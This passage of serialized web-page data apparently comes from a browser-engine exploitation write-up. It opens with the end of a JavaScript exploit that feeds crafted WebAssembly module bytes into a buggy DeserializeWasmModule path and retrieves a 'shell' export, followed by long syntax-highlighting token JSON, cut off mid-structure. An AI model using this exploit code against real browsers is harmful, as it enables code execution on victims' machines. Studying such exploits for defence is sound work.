Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[136114],{"type":23,"tag":56,"props":136115,"children":136116},{"__ignoreMap":7},[136117,136140,136167,136386,136453,136460,136487,136698,136949,137200,137424,137606,137827,137905,137912,137959,138002,138038,138081,138120,138147],{"type":23,"tag":504,"props":136118,"children":136119},{"class":506,"line":507},[136120,136124,136128,136132,136136],{"type":23,"tag":504,"props":136121,"children":136122},{"style":523},[136123],{"type":28,"value":526},{"type":23,"tag":504,"props":136125,"children":136126},{"style":511},[136127],{"type":28,"value":35122},{"type":23,"tag":504,"props":136129,"children":136130},{"style":523},[136131],{"type":28,"value":38672},{"type":23,"tag":504,"props":136133,"children":136134},{"style":511},[136135],{"type":28,"value":13802},{"type":23,"tag":504,"props":136137,"children":136138},{"style":523},[136139],{"type":28,"value":552},{"type":23,"tag":504,"props":136141,"children":136142},{"class":506,"line":540},[136143,136147,136151,136155,136159,136163],{"type":23,"tag":504,"props":136144,"children":136145},{"style":511},[136146],{"type":28,"value":35165},{"type":23,"tag":504,"props":136148,"children":136149},{"style":529},[136150],{"type":28,"value":132205},{"type":23,"tag":504,"props":136152,"children":136153},{"style":598},[136154],{"type":28,"value":648},{"type":23,"tag":504,"props":136156,"children":136157},{"style":511},[136158],{"type":28,"value":30911},{"type":23,"tag":504,"props":136160,"children":136161},{"style":517},[136162],{"type":28,"value":132218},{"type":23,"tag":504,"props":136164,"children":136165},{"style":523},[136166],{"type":28,"value":132223},{"type":23,"tag":504,"props":136168,"children":136169},{"class":506,"line":555},[136170,136174,136178,136182,136186,136190,136194,136198,136202,136206,136210,136214,136218,136222,136226,136230,136234,136238,136242,136246,136250,136254,136258,136262,136266,136270,136274,136278,136282,136286,136290,136294,136298,136302,136306,136310,136314,136318,136322,136326,136330,136334,136338,136342,136346,136350,136354,136358,136362,136366,136370,136374,136378,136382],{"type":23,"tag":504,"props":136171,"children":136172},{"style":1440},[136173],{"type":28,"value":132948},{"type":23,"tag":504,"props":136175,"children":136176},{"style":523},[136177],{"type":28,"value":576},{"type":23,"tag":504,"props":136179,"children":136180},{"style":1440},[136181],{"type":28,"value":132240},{"type":23,"tag":504,"props":136183,"children":136184},{"style":523},[136185],{"type":28,"value":576},{"type":23,"tag":504,"props":136187,"children":136188},{"style":1440},[136189],{"type":28,"value":132249},{"type":23,"tag":504,"props":136191,"children":136192},{"style":523},[136193],{"type":28,"value":576},{"type":23,"tag":504,"props":136195,"children":136196},{"style":1440},[136197],{"type":28,"value":132258},{"type":23,"tag":504,"props":136199,"children":136200},{"style":523},[136201],{"type":28,"value":576},{"type":23,"tag":504,"props":136203,"children":136204},{"style":1440},[136205],{"type":28,"value":2991},{"type":23,"tag":504,"props":136207,"children":136208},{"style":523},[136209],{"type":28,"value":576},{"type":23,"tag":504,"props":136211,"children":136212},{"style":1440},[136213],{"type":28,"value":3001},{"type":23,"tag":504,"props":136215,"children":136216},{"style":523},[136217],{"type":28,"value":576},{"type":23,"tag":504,"props":136219,"children":136220},{"style":1440},[136221],{"type":28,"value":3001},{"type":23,"tag":504,"props":136223,"children":136224},{"style":523},[136225],{"type":28,"value":576},{"type":23,"tag":504,"props":136227,"children":136228},{"style":1440},[136229],{"type":28,"value":3001},{"type":23,"tag":504,"props":136231,"children":136232},{"style":523},[136233],{"type":28,"value":576},{"type":23,"tag":504,"props":136235,"children":136236},{"style":1440},[136237],{"type":28,"value":2991},{"type":23,"tag":504,"props":136239,"children":136240},{"style":523},[136241],{"type":28,"value":576},{"type":23,"tag":504,"props":136243,"children":136244},{"style":1440},[136245],{"type":28,"value":16508},{"type":23,"tag":504,"props":136247,"children":136248},{"style":523},[136249],{"type":28,"value":576},{"type":23,"tag":504,"props":136251,"children":136252},{"style":1440},[136253],{"type":28,"value":2991},{"type":23,"tag":504,"props":136255,"children":136256},{"style":523},[136257],{"type":28,"value":576},{"type":23,"tag":504,"props":136259,"children":136260},{"style":1440},[136261],{"type":28,"value":132323},{"type":23,"tag":504,"props":136263,"children":136264},{"style":523},[136265],{"type":28,"value":576},{"type":23,"tag":504,"props":136267,"children":136268},{"style":1440},[136269],{"type":28,"value":3001},{"type":23,"tag":504,"props":136271,"children":136272},{"style":523},[136273],{"type":28,"value":576},{"type":23,"tag":504,"props":136275,"children":136276},{"style":1440},[136277],{"type":28,"value":3001},{"type":23,"tag":504,"props":136279,"children":136280},{"style":523},[136281],{"type":28,"value":576},{"type":23,"tag":504,"props":136283,"children":136284},{"style":1440},[136285],{"type":28,"value":16275},{"type":23,"tag":504,"props":136287,"children":136288},{"style":523},[136289],{"type":28,"value":576},{"type":23,"tag":504,"props":136291,"children":136292},{"style":1440},[136293],{"type":28,"value":2100},{"type":23,"tag":504,"props":136295,"children":136296},{"style":523},[136297],{"type":28,"value":576},{"type":23,"tag":504,"props":136299,"children":136300},{"style":1440},[136301],{"type":28,"value":2991},{"type":23,"tag":504,"props":136303,"children":136304},{"style":523},[136305],{"type":28,"value":576},{"type":23,"tag":504,"props":136307,"children":136308},{"style":1440},[136309],{"type":28,"value":3001},{"type":23,"tag":504,"props":136311,"children":136312},{"style":523},[136313],{"type":28,"value":576},{"type":23,"tag":504,"props":136315,"children":136316},{"style":1440},[136317],{"type":28,"value":53649},{"type":23,"tag":504,"props":136319,"children":136320},{"style":523},[136321],{"type":28,"value":576},{"type":23,"tag":504,"props":136323,"children":136324},{"style":1440},[136325],{"type":28,"value":54864},{"type":23,"tag":504,"props":136327,"children":136328},{"style":523},[136329],{"type":28,"value":576},{"type":23,"tag":504,"props":136331,"children":136332},{"style":1440},[136333],{"type":28,"value":2991},{"type":23,"tag":504,"props":136335,"children":136336},{"style":523},[136337],{"type":28,"value":576},{"type":23,"tag":504,"props":136339,"children":136340},{"style":1440},[136341],{"type":28,"value":17089},{"type":23,"tag":504,"props":136343,"children":136344},{"style":523},[136345],{"type":28,"value":576},{"type":23,"tag":504,"props":136347,"children":136348},{"style":1440},[136349],{"type":28,"value":132249},{"type":23,"tag":504,"props":136351,"children":136352},{"style":523},[136353],{"type":28,"value":576},{"type":23,"tag":504,"props":136355,"children":136356},{"style":1440},[136357],{"type":28,"value":132420},{"type":23,"tag":504,"props":136359,"children":136360},{"style":523},[136361],{"type":28,"value":576},{"type":23,"tag":504,"props":136363,"children":136364},{"style":1440},[136365],{"type":28,"value":132429},{"type":23,"tag":504,"props":136367,"children":136368},{"style":523},[136369],{"type":28,"value":576},{"type":23,"tag":504,"props":136371,"children":136372},{"style":1440},[136373],{"type":28,"value":132438},{"type":23,"tag":504,"props":136375,"children":136376},{"style":523},[136377],{"type":28,"value":576},{"type":23,"tag":504,"props":136379,"children":136380},{"style":1440},[136381],{"type":28,"value":132438},{"type":23,"tag":504,"props":136383,"children":136384},{"style":523},[136385],{"type":28,"value":2484},{"type":23,"tag":504,"props":136387,"children":136388},{"class":506,"line":633},[136389,136393,136397,136401,136405,136409,136413,136417,136421,136425,136429,136433,136437,136441,136445,136449],{"type":23,"tag":504,"props":136390,"children":136391},{"style":1440},[136392],{"type":28,"value":132948},{"type":23,"tag":504,"props":136394,"children":136395},{"style":523},[136396],{"type":28,"value":576},{"type":23,"tag":504,"props":136398,"children":136399},{"style":1440},[136400],{"type":28,"value":3001},{"type":23,"tag":504,"props":136402,"children":136403},{"style":523},[136404],{"type":28,"value":576},{"type":23,"tag":504,"props":136406,"children":136407},{"style":1440},[136408],{"type":28,"value":88004},{"type":23,"tag":504,"props":136410,"children":136411},{"style":523},[136412],{"type":28,"value":576},{"type":23,"tag":504,"props":136414,"children":136415},{"style":1440},[136416],{"type":28,"value":16508},{"type":23,"tag":504,"props":136418,"children":136419},{"style":523},[136420],{"type":28,"value":576},{"type":23,"tag":504,"props":136422,"children":136423},{"style":1440},[136424],{"type":28,"value":2991},{"type":23,"tag":504,"props":136426,"children":136427},{"style":523},[136428],{"type":28,"value":576},{"type":23,"tag":504,"props":136430,"children":136431},{"style":1440},[136432],{"type":28,"value":2100},{"type":23,"tag":504,"props":136434,"children":136435},{"style":523},[136436],{"type":28,"value":576},{"type":23,"tag":504,"props":136438,"children":136439},{"style":1440},[136440],{"type":28,"value":3001},{"type":23,"tag":504,"props":136442,"children":136443},{"style":523},[136444],{"type":28,"value":576},{"type":23,"tag":504,"props":136446,"children":136447},{"style":1440},[136448],{"type":28,"value":132514},{"type":23,"tag":504,"props":136450,"children":136451},{"style":523},[136452],{"type":28,"value":2484},{"type":23,"tag":504,"props":136454,"children":136455},{"class":506,"line":687},[136456],{"type":23,"tag":504,"props":136457,"children":136458},{"style":523},[136459],{"type":28,"value":133235},{"type":23,"tag":504,"props":136461,"children":136462},{"class":506,"line":736},[136463,136467,136471,136475,136479,136483],{"type":23,"tag":504,"props":136464,"children":136465},{"style":511},[136466],{"type":28,"value":35165},{"type":23,"tag":504,"props":136468,"children":136469},{"style":529},[136470],{"type":28,"value":124018},{"type":23,"tag":504,"props":136472,"children":136473},{"style":598},[136474],{"type":28,"value":648},{"type":23,"tag":504,"props":136476,"children":136477},{"style":511},[136478],{"type":28,"value":30911},{"type":23,"tag":504,"props":136480,"children":136481},{"style":517},[136482],{"type":28,"value":132218},{"type":23,"tag":504,"props":136484,"children":136485},{"style":523},[136486],{"type":28,"value":132223},{"type":23,"tag":504,"props":136488,"children":136489},{"class":506,"line":785},[136490,136495,136499,136503,136507,136511,136515,136519,136523,136528,136532,136537,136541,136546,136550,136555,136559,136563,136567,136571,136575,136579,136583,136587,136591,136596,136600,136605,136609,136614,136618,136622,136626,136630,136634,136638,136642,136646,136650,136654,136658,136662,136666,136670,136674,136678,136682,136686,136690,136694],{"type":23,"tag":504,"props":136491,"children":136492},{"style":1440},[136493],{"type":28,"value":136494},"    146",{"type":23,"tag":504,"props":136496,"children":136497},{"style":523},[136498],{"type":28,"value":576},{"type":23,"tag":504,"props":136500,"children":136501},{"style":1440},[136502],{"type":28,"value":17400},{"type":23,"tag":504,"props":136504,"children":136505},{"style":523},[136506],{"type":28,"value":576},{"type":23,"tag":504,"props":136508,"children":136509},{"style":1440},[136510],{"type":28,"value":133287},{"type":23,"tag":504,"props":136512,"children":136513},{"style":523},[136514],{"type":28,"value":576},{"type":23,"tag":504,"props":136516,"children":136517},{"style":1440},[136518],{"type":28,"value":133296},{"type":23,"tag":504,"props":136520,"children":136521},{"style":523},[136522],{"type":28,"value":576},{"type":23,"tag":504,"props":136524,"children":136525},{"style":1440},[136526],{"type":28,"value":136527},"174",{"type":23,"tag":504,"props":136529,"children":136530},{"style":523},[136531],{"type":28,"value":576},{"type":23,"tag":504,"props":136533,"children":136534},{"style":1440},[136535],{"type":28,"value":136536},"122",{"type":23,"tag":504,"props":136538,"children":136539},{"style":523},[136540],{"type":28,"value":576},{"type":23,"tag":504,"props":136542,"children":136543},{"style":1440},[136544],{"type":28,"value":136545},"171",{"type":23,"tag":504,"props":136547,"children":136548},{"style":523},[136549],{"type":28,"value":576},{"type":23,"tag":504,"props":136551,"children":136552},{"style":1440},[136553],{"type":28,"value":136554},"151",{"type":23,"tag":504,"props":136556,"children":136557},{"style":523},[136558],{"type":28,"value":576},{"type":23,"tag":504,"props":136560,"children":136561},{"style":1440},[136562],{"type":28,"value":95418},{"type":23,"tag":504,"props":136564,"children":136565},{"style":523},[136566],{"type":28,"value":576},{"type":23,"tag":504,"props":136568,"children":136569},{"style":1440},[136570],{"type":28,"value":3001},{"type":23,"tag":504,"props":136572,"children":136573},{"style":523},[136574],{"type":28,"value":576},{"type":23,"tag":504,"props":136576,"children":136577},{"style":1440},[136578],{"type":28,"value":3001},{"type":23,"tag":504,"props":136580,"children":136581},{"style":523},[136582],{"type":28,"value":576},{"type":23,"tag":504,"props":136584,"children":136585},{"style":1440},[136586],{"type":28,"value":3001},{"type":23,"tag":504,"props":136588,"children":136589},{"style":523},[136590],{"type":28,"value":576},{"type":23,"tag":504,"props":136592,"children":136593},{"style":1440},[136594],{"type":28,"value":136595},"39",{"type":23,"tag":504,"props":136597,"children":136598},{"style":523},[136599],{"type":28,"value":576},{"type":23,"tag":504,"props":136601,"children":136602},{"style":1440},[136603],{"type":28,"value":136604},"61",{"type":23,"tag":504,"props":136606,"children":136607},{"style":523},[136608],{"type":28,"value":576},{"type":23,"tag":504,"props":136610,"children":136611},{"style":1440},[136612],{"type":28,"value":136613},"60",{"type":23,"tag":504,"props":136615,"children":136616},{"style":523},[136617],{"type":28,"value":576},{"type":23,"tag":504,"props":136619,"children":136620},{"style":1440},[136621],{"type":28,"value":95418},{"type":23,"tag":504,"props":136623,"children":136624},{"style":523},[136625],{"type":28,"value":576},{"type":23,"tag":504,"props":136627,"children":136628},{"style":1440},[136629],{"type":28,"value":3001},{"type":23,"tag":504,"props":136631,"children":136632},{"style":523},[136633],{"type":28,"value":576},{"type":23,"tag":504,"props":136635,"children":136636},{"style":1440},[136637],{"type":28,"value":39821},{"type":23,"tag":504,"props":136639,"children":136640},{"style":523},[136641],{"type":28,"value":576},{"type":23,"tag":504,"props":136643,"children":136644},{"style":1440},[136645],{"type":28,"value":16275},{"type":23,"tag":504,"props":136647,"children":136648},{"style":523},[136649],{"type":28,"value":576},{"type":23,"tag":504,"props":136651,"children":136652},{"style":1440},[136653],{"type":28,"value":3001},{"type":23,"tag":504,"props":136655,"children":136656},{"style":523},[136657],{"type":28,"value":576},{"type":23,"tag":504,"props":136659,"children":136660},{"style":1440},[136661],{"type":28,"value":3001},{"type":23,"tag":504,"props":136663,"children":136664},{"style":523},[136665],{"type":28,"value":576},{"type":23,"tag":504,"props":136667,"children":136668},{"style":1440},[136669],{"type":28,"value":3001},{"type":23,"tag":504,"props":136671,"children":136672},{"style":523},[136673],{"type":28,"value":576},{"type":23,"tag":504,"props":136675,"children":136676},{"style":1440},[136677],{"type":28,"value":3001},{"type":23,"tag":504,"props":136679,"children":136680},{"style":523},[136681],{"type":28,"value":576},{"type":23,"tag":504,"props":136683,"children":136684},{"style":1440},[136685],{"type":28,"value":3001},{"type":23,"tag":504,"props":136687,"children":136688},{"style":523},[136689],{"type":28,"value":576},{"type":23,"tag":504,"props":136691,"children":136692},{"style":1440},[136693],{"type":28,"value":28404},{"type":23,"tag":504,"props":136695,"children":136696},{"style":523},[136697],{"type":28,"value":2484},{"type":23,"tag":504,"props":136699,"children":136700},{"class":506,"line":813},[136701,136705,136709,136713,136717,136721,136725,136729,136733,136737,136741,136745,136749,136753,136757,136761,136765,136769,136773,136777,136781,136785,136789,136793,136797,136801,136805,136809,136813,136817,136821,136825,136829,136833,136837,136841,136845,136849,136853,136857,136861,136865,136869,136873,136877,136881,136885,136889,136893,136897,136901,136905,136909,136913,136917,136921,136925,136929,136933,136937,136941,136945],{"type":23,"tag":504,"props":136702,"children":136703},{"style":1440},[136704],{"type":28,"value":132948},{"type":23,"tag":504,"props":136706,"children":136707},{"style":523},[136708],{"type":28,"value":576},{"type":23,"tag":504,"props":136710,"children":136711},{"style":1440},[136712],{"type":28,"value":3001},{"type":23,"tag":504,"props":136714,"children":136715},{"style":523},[136716],{"type":28,"value":576},{"type":23,"tag":504,"props":136718,"children":136719},{"style":1440},[136720],{"type":28,"value":3001},{"type":23,"tag":504,"props":136722,"children":136723},{"style":523},[136724],{"type":28,"value":576},{"type":23,"tag":504,"props":136726,"children":136727},{"style":1440},[136728],{"type":28,"value":3001},{"type":23,"tag":504,"props":136730,"children":136731},{"style":523},[136732],{"type":28,"value":576},{"type":23,"tag":504,"props":136734,"children":136735},{"style":1440},[136736],{"type":28,"value":3001},{"type":23,"tag":504,"props":136738,"children":136739},{"style":523},[136740],{"type":28,"value":576},{"type":23,"tag":504,"props":136742,"children":136743},{"style":1440},[136744],{"type":28,"value":3001},{"type":23,"tag":504,"props":136746,"children":136747},{"style":523},[136748],{"type":28,"value":576},{"type":23,"tag":504,"props":136750,"children":136751},{"style":1440},[136752],{"type":28,"value":3001},{"type":23,"tag":504,"props":136754,"children":136755},{"style":523},[136756],{"type":28,"value":576},{"type":23,"tag":504,"props":136758,"children":136759},{"style":1440},[136760],{"type":28,"value":2991},{"type":23,"tag":504,"props":136762,"children":136763},{"style":523},[136764],{"type":28,"value":576},{"type":23,"tag":504,"props":136766,"children":136767},{"style":1440},[136768],{"type":28,"value":3001},{"type":23,"tag":504,"props":136770,"children":136771},{"style":523},[136772],{"type":28,"value":576},{"type":23,"tag":504,"props":136774,"children":136775},{"style":1440},[136776],{"type":28,"value":3001},{"type":23,"tag":504,"props":136778,"children":136779},{"style":523},[136780],{"type":28,"value":576},{"type":23,"tag":504,"props":136782,"children":136783},{"style":1440},[136784],{"type":28,"value":3001},{"type":23,"tag":504,"props":136786,"children":136787},{"style":523},[136788],{"type":28,"value":576},{"type":23,"tag":504,"props":136790,"children":136791},{"style":1440},[136792],{"type":28,"value":3001},{"type":23,"tag":504,"props":136794,"children":136795},{"style":523},[136796],{"type":28,"value":576},{"type":23,"tag":504,"props":136798,"children":136799},{"style":1440},[136800],{"type":28,"value":3001},{"type":23,"tag":504,"props":136802,"children":136803},{"style":523},[136804],{"type":28,"value":576},{"type":23,"tag":504,"props":136806,"children":136807},{"style":1440},[136808],{"type":28,"value":3001},{"type":23,"tag":504,"props":136810,"children":136811},{"style":523},[136812],{"type":28,"value":576},{"type":23,"tag":504,"props":136814,"children":136815},{"style":1440},[136816],{"type":28,"value":3001},{"type":23,"tag":504,"props":136818,"children":136819},{"style":523},[136820],{"type":28,"value":576},{"type":23,"tag":504,"props":136822,"children":136823},{"style":1440},[136824],{"type":28,"value":3001},{"type":23,"tag":504,"props":136826,"children":136827},{"style":523},[136828],{"type":28,"value":576},{"type":23,"tag":504,"props":136830,"children":136831},{"style":1440},[136832],{"type":28,"value":16508},{"type":23,"tag":504,"props":136834,"children":136835},{"style":523},[136836],{"type":28,"value":576},{"type":23,"tag":504,"props":136838,"children":136839},{"style":1440},[136840],{"type":28,"value":44104},{"type":23,"tag":504,"props":136842,"children":136843},{"style":523},[136844],{"type":28,"value":576},{"type":23,"tag":504,"props":136846,"children":136847},{"style":1440},[136848],{"type":28,"value":3001},{"type":23,"tag":504,"props":136850,"children":136851},{"style":523},[136852],{"type":28,"value":576},{"type":23,"tag":504,"props":136854,"children":136855},{"style":1440},[136856],{"type":28,"value":3001},{"type":23,"tag":504,"props":136858,"children":136859},{"style":523},[136860],{"type":28,"value":576},{"type":23,"tag":504,"props":136862,"children":136863},{"style":1440},[136864],{"type":28,"value":3001},{"type":23,"tag":504,"props":136866,"children":136867},{"style":523},[136868],{"type":28,"value":576},{"type":23,"tag":504,"props":136870,"children":136871},{"style":1440},[136872],{"type":28,"value":133323},{"type":23,"tag":504,"props":136874,"children":136875},{"style":523},[136876],{"type":28,"value":576},{"type":23,"tag":504,"props":136878,"children":136879},{"style":1440},[136880],{"type":28,"value":3001},{"type":23,"tag":504,"props":136882,"children":136883},{"style":523},[136884],{"type":28,"value":576},{"type":23,"tag":504,"props":136886,"children":136887},{"style":1440},[136888],{"type":28,"value":3001},{"type":23,"tag":504,"props":136890,"children":136891},{"style":523},[136892],{"type":28,"value":576},{"type":23,"tag":504,"props":136894,"children":136895},{"style":1440},[136896],{"type":28,"value":3001},{"type":23,"tag":504,"props":136898,"children":136899},{"style":523},[136900],{"type":28,"value":576},{"type":23,"tag":504,"props":136902,"children":136903},{"style":1440},[136904],{"type":28,"value":44104},{"type":23,"tag":504,"props":136906,"children":136907},{"style":523},[136908],{"type":28,"value":576},{"type":23,"tag":504,"props":136910,"children":136911},{"style":1440},[136912],{"type":28,"value":3001},{"type":23,"tag":504,"props":136914,"children":136915},{"style":523},[136916],{"type":28,"value":576},{"type":23,"tag":504,"props":136918,"children":136919},{"style":1440},[136920],{"type":28,"value":3001},{"type":23,"tag":504,"props":136922,"children":136923},{"style":523},[136924],{"type":28,"value":576},{"type":23,"tag":504,"props":136926,"children":136927},{"style":1440},[136928],{"type":28,"value":3001},{"type":23,"tag":504,"props":136930,"children":136931},{"style":523},[136932],{"type":28,"value":576},{"type":23,"tag":504,"props":136934,"children":136935},{"style":1440},[136936],{"type":28,"value":44104},{"type":23,"tag":504,"props":136938,"children":136939},{"style":523},[136940],{"type":28,"value":576},{"type":23,"tag":504,"props":136942,"children":136943},{"style":1440},[136944],{"type":28,"value":3001},{"type":23,"tag":504,"props":136946,"children":136947},{"style":523},[136948],{"type":28,"value":2484},{"type":23,"tag":504,"props":136950,"children":136951},{"class":506,"line":851},[136952,136956,136960,136964,136968,136972,136976,136980,136984,136988,136992,136996,137000,137004,137008,137012,137016,137020,137024,137028,137032,137036,137040,137044,137048,137052,137056,137060,137064,137068,137072,137076,137080,137084,137088,137092,137096,137100,137104,137108,137112,137116,137120,137124,137128,137132,137136,137140,137144,137148,137152,137156,137160,137164,137168,137172,137176,137180,137184,137188,137192,137196],{"type":23,"tag":504,"props":136953,"children":136954},{"style":1440},[136955],{"type":28,"value":132948},{"type":23,"tag":504,"props":136957,"children":136958},{"style":523},[136959],{"type":28,"value":576},{"type":23,"tag":504,"props":136961,"children":136962},{"style":1440},[136963],{"type":28,"value":3001},{"type":23,"tag":504,"props":136965,"children":136966},{"style":523},[136967],{"type":28,"value":576},{"type":23,"tag":504,"props":136969,"children":136970},{"style":1440},[136971],{"type":28,"value":44104},{"type":23,"tag":504,"props":136973,"children":136974},{"style":523},[136975],{"type":28,"value":576},{"type":23,"tag":504,"props":136977,"children":136978},{"style":1440},[136979],{"type":28,"value":3001},{"type":23,"tag":504,"props":136981,"children":136982},{"style":523},[136983],{"type":28,"value":576},{"type":23,"tag":504,"props":136985,"children":136986},{"style":1440},[136987],{"type":28,"value":3001},{"type":23,"tag":504,"props":136989,"children":136990},{"style":523},[136991],{"type":28,"value":576},{"type":23,"tag":504,"props":136993,"children":136994},{"style":1440},[136995],{"type":28,"value":3001},{"type":23,"tag":504,"props":136997,"children":136998},{"style":523},[136999],{"type":28,"value":576},{"type":23,"tag":504,"props":137001,"children":137002},{"style":1440},[137003],{"type":28,"value":16508},{"type":23,"tag":504,"props":137005,"children":137006},{"style":523},[137007],{"type":28,"value":576},{"type":23,"tag":504,"props":137009,"children":137010},{"style":1440},[137011],{"type":28,"value":3001},{"type":23,"tag":504,"props":137013,"children":137014},{"style":523},[137015],{"type":28,"value":576},{"type":23,"tag":504,"props":137017,"children":137018},{"style":1440},[137019],{"type":28,"value":3001},{"type":23,"tag":504,"props":137021,"children":137022},{"style":523},[137023],{"type":28,"value":576},{"type":23,"tag":504,"props":137025,"children":137026},{"style":1440},[137027],{"type":28,"value":3001},{"type":23,"tag":504,"props":137029,"children":137030},{"style":523},[137031],{"type":28,"value":576},{"type":23,"tag":504,"props":137033,"children":137034},{"style":1440},[137035],{"type":28,"value":3001},{"type":23,"tag":504,"props":137037,"children":137038},{"style":523},[137039],{"type":28,"value":576},{"type":23,"tag":504,"props":137041,"children":137042},{"style":1440},[137043],{"type":28,"value":3001},{"type":23,"tag":504,"props":137045,"children":137046},{"style":523},[137047],{"type":28,"value":576},{"type":23,"tag":504,"props":137049,"children":137050},{"style":1440},[137051],{"type":28,"value":3001},{"type":23,"tag":504,"props":137053,"children":137054},{"style":523},[137055],{"type":28,"value":576},{"type":23,"tag":504,"props":137057,"children":137058},{"style":1440},[137059],{"type":28,"value":3001},{"type":23,"tag":504,"props":137061,"children":137062},{"style":523},[137063],{"type":28,"value":576},{"type":23,"tag":504,"props":137065,"children":137066},{"style":1440},[137067],{"type":28,"value":3001},{"type":23,"tag":504,"props":137069,"children":137070},{"style":523},[137071],{"type":28,"value":576},{"type":23,"tag":504,"props":137073,"children":137074},{"style":1440},[137075],{"type":28,"value":3001},{"type":23,"tag":504,"props":137077,"children":137078},{"style":523},[137079],{"type":28,"value":576},{"type":23,"tag":504,"props":137081,"children":137082},{"style":1440},[137083],{"type":28,"value":3001},{"type":23,"tag":504,"props":137085,"children":137086},{"style":523},[137087],{"type":28,"value":576},{"type":23,"tag":504,"props":137089,"children":137090},{"style":1440},[137091],{"type":28,"value":3001},{"type":23,"tag":504,"props":137093,"children":137094},{"style":523},[137095],{"type":28,"value":576},{"type":23,"tag":504,"props":137097,"children":137098},{"style":1440},[137099],{"type":28,"value":28404},{"type":23,"tag":504,"props":137101,"children":137102},{"style":523},[137103],{"type":28,"value":576},{"type":23,"tag":504,"props":137105,"children":137106},{"style":1440},[137107],{"type":28,"value":3001},{"type":23,"tag":504,"props":137109,"children":137110},{"style":523},[137111],{"type":28,"value":576},{"type":23,"tag":504,"props":137113,"children":137114},{"style":1440},[137115],{"type":28,"value":3001},{"type":23,"tag":504,"props":137117,"children":137118},{"style":523},[137119],{"type":28,"value":576},{"type":23,"tag":504,"props":137121,"children":137122},{"style":1440},[137123],{"type":28,"value":3001},{"type":23,"tag":504,"props":137125,"children":137126},{"style":523},[137127],{"type":28,"value":576},{"type":23,"tag":504,"props":137129,"children":137130},{"style":1440},[137131],{"type":28,"value":3001},{"type":23,"tag":504,"props":137133,"children":137134},{"style":523},[137135],{"type":28,"value":576},{"type":23,"tag":504,"props":137137,"children":137138},{"style":1440},[137139],{"type":28,"value":3001},{"type":23,"tag":504,"props":137141,"children":137142},{"style":523},[137143],{"type":28,"value":576},{"type":23,"tag":504,"props":137145,"children":137146},{"style":1440},[137147],{"type":28,"value":3001},{"type":23,"tag":504,"props":137149,"children":137150},{"style":523},[137151],{"type":28,"value":576},{"type":23,"tag":504,"props":137153,"children":137154},{"style":1440},[137155],{"type":28,"value":3001},{"type":23,"tag":504,"props":137157,"children":137158},{"style":523},[137159],{"type":28,"value":576},{"type":23,"tag":504,"props":137161,"children":137162},{"style":1440},[137163],{"type":28,"value":3001},{"type":23,"tag":504,"props":137165,"children":137166},{"style":523},[137167],{"type":28,"value":576},{"type":23,"tag":504,"props":137169,"children":137170},{"style":1440},[137171],{"type":28,"value":3001},{"type":23,"tag":504,"props":137173,"children":137174},{"style":523},[137175],{"type":28,"value":576},{"type":23,"tag":504,"props":137177,"children":137178},{"style":1440},[137179],{"type":28,"value":3001},{"type":23,"tag":504,"props":137181,"children":137182},{"style":523},[137183],{"type":28,"value":576},{"type":23,"tag":504,"props":137185,"children":137186},{"style":1440},[137187],{"type":28,"value":3001},{"type":23,"tag":504,"props":137189,"children":137190},{"style":523},[137191],{"type":28,"value":576},{"type":23,"tag":504,"props":137193,"children":137194},{"style":1440},[137195],{"type":28,"value":3001},{"type":23,"tag":504,"props":137197,"children":137198},{"style":523},[137199],{"type":28,"value":2484},{"type":23,"tag":504,"props":137201,"children":137202},{"class":506,"line":869},[137203,137207,137211,137215,137219,137223,137227,137231,137235,137239,137243,137247,137251,137255,137259,137263,137267,137271,137275,137279,137283,137287,137291,137295,137299,137303,137307,137311,137315,137319,137323,137327,137331,137336,137340,137345,137349,137353,137357,137362,137366,137370,137374,137378,137382,137386,137390,137395,137399,137403,137407,137412,137416,137420],{"type":23,"tag":504,"props":137204,"children":137205},{"style":1440},[137206],{"type":28,"value":132948},{"type":23,"tag":504,"props":137208,"children":137209},{"style":523},[137210],{"type":28,"value":576},{"type":23,"tag":504,"props":137212,"children":137213},{"style":1440},[137214],{"type":28,"value":3001},{"type":23,"tag":504,"props":137216,"children":137217},{"style":523},[137218],{"type":28,"value":576},{"type":23,"tag":504,"props":137220,"children":137221},{"style":1440},[137222],{"type":28,"value":3001},{"type":23,"tag":504,"props":137224,"children":137225},{"style":523},[137226],{"type":28,"value":576},{"type":23,"tag":504,"props":137228,"children":137229},{"style":1440},[137230],{"type":28,"value":3001},{"type":23,"tag":504,"props":137232,"children":137233},{"style":523},[137234],{"type":28,"value":576},{"type":23,"tag":504,"props":137236,"children":137237},{"style":1440},[137238],{"type":28,"value":3001},{"type":23,"tag":504,"props":137240,"children":137241},{"style":523},[137242],{"type":28,"value":576},{"type":23,"tag":504,"props":137244,"children":137245},{"style":1440},[137246],{"type":28,"value":3001},{"type":23,"tag":504,"props":137248,"children":137249},{"style":523},[137250],{"type":28,"value":576},{"type":23,"tag":504,"props":137252,"children":137253},{"style":1440},[137254],{"type":28,"value":3001},{"type":23,"tag":504,"props":137256,"children":137257},{"style":523},[137258],{"type":28,"value":576},{"type":23,"tag":504,"props":137260,"children":137261},{"style":1440},[137262],{"type":28,"value":3001},{"type":23,"tag":504,"props":137264,"children":137265},{"style":523},[137266],{"type":28,"value":576},{"type":23,"tag":504,"props":137268,"children":137269},{"style":1440},[137270],{"type":28,"value":3001},{"type":23,"tag":504,"props":137272,"children":137273},{"style":523},[137274],{"type":28,"value":576},{"type":23,"tag":504,"props":137276,"children":